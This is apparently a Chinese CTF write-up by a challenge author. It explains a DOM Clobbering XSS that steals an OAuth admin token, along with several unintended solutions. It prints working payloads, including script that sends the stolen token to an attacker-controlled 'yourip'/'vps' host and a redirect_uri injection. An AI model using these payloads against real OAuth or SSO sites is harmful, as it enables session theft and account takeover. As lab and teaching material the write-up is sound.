MRCTF2022_God_of_GPA_WP

前言

自家战队办比赛,那怎么说也得凑个热闹,腆着脸出了一道题

题目环境
https://github.com/Ibukifalling/my-ctf-challenge/tree/master/God_of_GPA_docker

考点

Xss via DOM Clobbering & Steal Oauth token

出题记录

因为挖学校的洞的时候发现学校的系统用的都是Oauth实现的单点登录,然后打了半天也没打下来。很气,于是就想出一个跟oauth登录有关的题
OAuth 2.0 的一个简单解释
(当然,题目里的oauth认证经过了很多简化,实际场景中还要更复杂一些)

出到一半的时候觉得有点太简单了……碰巧看到DOM Clobbering这个神奇的东西,于是就缝了一下(可能稍微有点脑洞)

(最后被各位师傅用各种非预期打爆了,出题人直接进行一波学习)

(顺便,题目域名中的brt指boren tech-博仁科技)

预期解题思路

查看题目Web结构

大致查看一下题目可以发现,题目由两个web组成:博仁科技统一身份认证和博仁课堂。统一身份认证在登录状态下时,博仁课堂可以直接一键登录。

具体的登录过程如下:
在博仁课堂(client端)界面点击一键登录按钮后,转到博仁科技统一身份认证(server端)的oauth认证页面,并且附带一个redirect_uri参数,即成功认证后的重定向地址

若此时server端为登录状态,则会显示认证成功,设置一个重定向到redirect_uri的跳转,并且带有一个token参数

client端在接受到这个token参数后会在后端向server端的api进行请求并且获取用户的身份信息(这一步选手是无法看到的),然后以获取到的用户名登录.

登录到博仁课堂后可以查看自己的成绩,当然默认情况是全挂了的

点神秘按钮会跳到一个后门界面,但是这个后门只有管理员能用,说明要拿到管理权限

博仁课堂还有一个树洞功能,可以发文章,但是没办法直接xss。(后端使用了DOMPurify进行过滤)

回来看server端,给了一个和zbr互动的界面(此处提示了bot的浏览器是chrome,跟之后的xss有关)

Xss via DOM Clobbering

仔细查看博仁树洞查看文章页面的前端代码,发现zbr头像的部分用了一段非常诡异的代码

1
2
3
4
5
6
<script>
let Img = window.MyImg || {src: 'https://md.buptmerak.cn/uploads/upload_d12a3804a813ffb14fe38a318d6bfcf1.png'}
let Container = document.createElement("div");
Container.innerHTML = '<img class="avatar" src="' + Img.src + '">';
document.body.appendChild(Container);
</script>

此处可以利用dom xss,参考-使用 Dom Clobbering 扩展 XSS

测试一下,文章内容填入

1
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:alert(1111);"//'></a>

这里使用a标签和cid:进行了注入,也有其他师傅用img标签+data:等方式成功注入,注意测试的时候用chrome浏览器

Get Token

之前说到过一键登录是通过token实现的,那么很容易想到:让bot访问认证页,然后redirect_uri填自己的vps,不就拿到admin token了吗?

试一下会发现不行,因为redirect_uri有检测

不过再仔细试一下会发现只要url部分符合就行了,path部分可以随便填,也就是说redirect_uri=http://brtclient.node3.mrctf.fun/123123这种格式也是可以的

那么其实可以写两篇xss文章,让bot访问认证页之后重定向到另一篇xss,另一篇xss接到token之后再发送到vps(也有师傅写成二合一,本质上是一样的)

exp

part1(网上随便抄的接受get参数方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split(`&`);
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split(`=`);
if(pair[0] == variable){return pair[1];}
}
return(false);
}
var token = getQueryVariable(`token`);
console.log(token);
document.write(`<img src=http://yourip/token=`+token+` >`);
"//'></a>

part2

1
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"onerror="javascript:setTimeout(function(){location.href=`http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri=http://brtclient.node3.mrctf.fun/view/part1uuid`},1000)"//'></a>

向bot发送part2的uuid,part2会访问oauth认证地址并且重定向到part1,part1再发送到远程监听服务器上,以此获得token

(给没做出来的带火看一下后门长啥样,是一个一键满绩页面)

(输入用户id后可以令该用户所有科目变成一佰分)

非预期解

实际比赛中,各路大佬们打出了各种天马行空的非预期,令出题人叹为观止

非预期1-夺舍bot

由于出题人在写正则的时候忘记写开头和结尾匹配,导致发送uuid的校验出现问题…

如果向bot发送形如uuid/../../login?token=yourtoken的uuid,可以令bot在博仁课堂端登录上选手本人的账户

那有人就要问了,bot登自己账户有啥用阿?

这里又要甩锅给出题人了…登录成功的页面提示信息是直接拼接用户名的…

所以可以在用户名处进行xss…直接把payload写在用户名里…(我哪知道会有人这么玩啊QAQ)

因为此时bot在server端仍然是管理员账号,在用户名的xss中令bot先访问brtserver.node3.mrctf.fun/oauth/authorize可以拿回管理员权限,也就是打了一个CSRF

可怕的是居然有多队打出这个非预期…师傅们的脑洞实在是太大了…(有没有一种可能,是出题人的安全开发意识没到位呢)

非预期2-oauth xss

这个比上面那个稍微好一点,但依然震撼出题人一整年……并且也有多队打出了这个非预期……

由于跳转界面也是直接拼接的redirect_uri,而redirect_uri后面的路径是可以随便写的,所以可以在redirect_uri处进行xss

在文章的xss处令bot访问http://brtserver.node2.buptmerak.cn/oauth/authorize? redirect_uri=http://brtclient.node2.buptmerak.cn/";window.location="http://vps/可以直接拿到token,这样就不用再弹一次了

非预期3-token是啥?能吃么?

这个应该算是比较正常的非预期了,不尝试获得登录token而是直接令bot访问后门页面。其实把后门页面写成交互式而不是直接获得flag就是希望选手尝试获得token。看来下次还是得在前端加点混淆……

后话



关于本次比赛密码题,强烈推荐
https://www.zhihu.com/answer/2455486891